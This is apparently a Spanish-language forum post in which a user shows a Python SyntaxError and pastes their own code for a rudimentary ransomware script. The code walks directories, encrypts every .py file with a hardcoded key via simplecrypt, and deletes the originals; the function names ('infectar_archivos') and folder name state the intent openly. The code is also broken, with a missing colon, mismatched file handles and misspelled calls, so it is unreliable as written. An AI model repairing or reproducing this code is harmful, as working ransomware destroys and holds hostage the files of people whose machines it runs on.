C:\Users\Rispek\Desktop>test.py
File "C:\Users\Rispek\Desktop\test.py", line 20
for root,direcs, archivos in os.walk()
^
SyntaxError: invalid syntax
Y esto lo que hice
Código
import os from simplecrypt import encrypt path = 'desktop\rasomware' key = "prueba" def cifrado_basico(key, archivo_entrada, archivo_salida=None): if not archivo_salida: archivo_salida = archivo_entrada + ".encrypt" size = os_path.getsize(archivo_entrada) with open("archivo_entrada, 'rb'") as ifile: with open(archivo_salida, 'wb') as ifile: cifrar = encrypt(key, ifile.read()) ofile.whrite(cifrar) def infectar_archivos(): for root,direcs, archivos in os.walk() for archivo in archivos: if archivo_endswith(.py) cifrado_basico(key, os_path.join(root, archivo)) os_remove(os_path.join(root, archivo)) infectar_archivos()